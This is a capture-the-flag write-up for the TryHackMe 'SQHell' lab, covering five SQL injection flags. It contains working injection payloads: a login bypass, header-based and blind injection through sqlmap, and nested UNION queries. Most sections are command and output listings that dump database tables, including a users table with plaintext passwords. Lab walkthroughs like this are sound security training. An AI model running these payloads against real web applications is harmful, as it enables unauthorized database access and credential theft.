Information
Room
Name: SQHell
Profile: tryhackme.com
Difficulty: Medium
Description : Try and find all the flags in the SQL Injections.
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
Preparation
Add the IP address to the host file for easy access:
$ grep sqhell /etc/hosts
10.10.176.127 sqhell.thm
Flag 1 - auth bypass SQLi
This one is the most famous classic, a basic SQLi on the login form (http://sqhell.thm/login ).
username: admin' or 1=1-- -
password: whatever
Once the authentication bypass the flag is displayed.
The Terms and Conditions page (http://sqhell.thm/terms-and-conditions ) is
giving us a precious hint:
iii: We log your IP address for analytics purposes
A common way to try to influence on our IP address via HTTP is to use
the X-Forwarded-For
header.
We can directly set an injection point in this header.
$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL
...
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: 10.10.10.10';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: 10.10.10.10' AND (SELECT 8414 FROM (SELECT(SLEEP(5)))RfON)-- CunQ
List databases:
$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL --dbs
...
available databases [2]:
[*] information_schema
[*] sqhell_1
List tables:
$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 --tables
...
Database: sqhell_1
[2 tables]
+------+
| flag |
| hits |
+------+
List columns:
$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 -T flag --columns
...
Database: sqhell_1
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(250) |
| id | int |
+--------+--------------+
Retrieve the flag:
$sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 -T flag -C flag --dump
...
Database: sqhell_1
Table: flag
[1 entry]
+---------------------------------------------+
| flag |
+---------------------------------------------+
| THM{FLAG2:edited} |
+---------------------------------------------+
Flag 3 - boolean-based blind SQLi
While entering a username on the register page (http://sqhell.thm/register ),
we can see the app is requesting an API at each key pressed to check the
username availability.
The request looks like this and returns a boolean in JSON:
$ curl "http://sqhell.thm/register/user-check?username=noraj" -s | jq
{
"available": true
}
$ curl "http://sqhell.thm/register/user-check?username=admin" -s | jq
{
"available": false
}
We can easily try for
$ curl "http://sqhell.thm/register/user-check?username=noraj' OR 1=2-- -" -s | jq
{
"available": true
}
$ curl "http://sqhell.thm/register/user-check?username=noraj' OR 1=1-- -" -s | jq
{
"available": false
}
$ curl "http://sqhell.thm/register/user-check?username=admin' AND 1=1-- -" -s | jq
{
"available": false
}
$ curl "http://sqhell.thm/register/user-check?username=admin' AND 1=2-- -" -s | jq
{
"available": true
}
There we have a boolean-based inferential SQL injection (blind SQLi) .
SQLmap was able to identify two techniques:
Parameter: username (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-7235' OR 6428=6428-- YQFj
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=noraj' AND (SELECT 6032 FROM (SELECT(SLEEP(5)))OAyh)-- XDgE
Let's list databases:
$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL --dbs
...
available databases [2]:
[*] information_schema
[*] sqhell_3
The only custom database is sqhell_3
, let's list tables:
$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 --tables
...
Database: sqhell_3
[2 tables]
+-------+
| flag |
| users |
+-------+
We must find the flag in the flag
table, not let's find the columns:
$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T flag --columns
...
Database: sqhell_3
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(250) |
| id | int |
+--------+--------------+
Let's dump the entries from this column:
$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T flag -C flag --dump
...
Database: sqhell_3
Table: flag
[1 entry]
+---------------------------------------------+
| flag |
+---------------------------------------------+
| THM{FLAG3:edited} |
+---------------------------------------------+
Bonus
Even if not required it can be interesting to dump the users
table:
$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T users --columns
...
Database: sqhell_3
Table: users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int |
| password | varchar(250) |
| username | varchar(250) |
+----------+--------------+
$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T users --dump
...
Database: sqhell_3
Table: users
[1 entry]
+----+---------------------------------+----------+
| id | password | username |
+----+---------------------------------+----------+
| 1 | icantrememberthispasswordcanyou | admin |
+----+---------------------------------+----------+
Flag 4 - routed SQLi
This one is similar to Flag 5 until some point.
I'll skip the beginning since it's the same but for users instead of posts.
The difference is here there is no flag database.
$ sqlmap -u 'http://sqhell.thm/user?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_4 --tables
...
Database: sqhell_4
[1 table]
+-------+
| users |
+-------+
We can find the admin account:
$ sqlmap -u 'http://sqhell.thm/user?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_4 -T users --dump
...
Database: sqhell_4
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | password | admin |
+----+----------+----------+
Nothing? so what?
Hang on tight please, so guess work is required.
Remember the hint?
Well, dreams, they feel real while we're in them right?
It's a quote from the Inception move. The movie is about a dream in a dream in a dream etc.
in other words: nested dreams.
There is a quite uncommon and fanciful way to call a nested SQLi (a.k.a. routed SQLi) which is Inception SQLi in reference
to the movie.
So here we have a routed / nested SQLi .
We the following payload we are able to detect which columns are reflected.
http://sqhell.thm/user?id=2 union all select 'noraj','is','great' from users-- -
2 union all select 'noraj' , 'is' , 'great' from users -- -
And since the hint told us there was routed SQLi we can try to replace noraj
or
is
with a SQL query. The second column is no vulnerable to routed SQLi only the
first one so we need to replace the first column (noraj
).
With the nested payload we can find which column is reflected:
http://sqhell.thm/user?id=2 union all select '44 UNION SELECT 5,6,7,8-- -','is','great' from users-- -
2 union all select '44 UNION SELECT 5,6,7,8-- -' , 'is' , 'great' from users -- -
Finally we replace the nested to select the flag. More manual enumeration could have been
required in real life to list tables and columns be in this challenge we know it's
always the flag column in the flag table.
http://sqhell.thm/user?id=2 union all select '44 UNION SELECT 5,flag,7,8 from flag-- -','is','great' from users-- -
2 union all select '44 UNION SELECT 5,flag,7,8 from flag-- -' , 'is' , 'great' from users -- -
Flag 5 - in-band SQLi
Posts are identified with a uniq id: http://sqhell.thm/post?id=2
A non existing post id (http://sqhell.thm/post?id=42 ) will return Post not found .
But with a true condition it will return the 1st post: http://sqhell.thm/post?id=55 OR 1=1
Trying a union query (http://sqhell.thm/post?id=55 UNION SELECT 1,2,3,4 ) we can see there are
4 columns and column 2 and 3 are displayed. So we have an in-band SQLi .
SQLmap found 4 methods:
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id=55 OR NOT 5505=5505
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=55 AND GTID_SUBSET(CONCAT(0x7171707171,(SELECT (ELT(1693=1693,1))),0x7178706271),1693)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=55 AND (SELECT 2419 FROM (SELECT(SLEEP(5)))EtKF)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=55 UNION ALL SELECT NULL,NULL,CONCAT(0x7171707171,0x50717453517964415353585653516c784d77534551644c76497144425068774a566e695357444868,0x7178706271),NULL-- -
Let's list the databases:
$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL --dbs
...
available databases [2]:
[*] information_schema
[*] sqhell_5
List the tables:
$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 --tables
...
Database: sqhell_5
[3 tables]
+-------+
| flag |
| posts |
| users |
+-------+
List the columns:
$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 -T flag --columns
...
Database: sqhell_5
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(250) |
| id | int |
+--------+--------------+
List the entries:
$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 -T flag -C flag --dump
...
Database: sqhell_5
Table: flag
[1 entry]
+---------------------------------------------+
| flag |
+---------------------------------------------+
| THM{FLAG5:edited} |
+---------------------------------------------+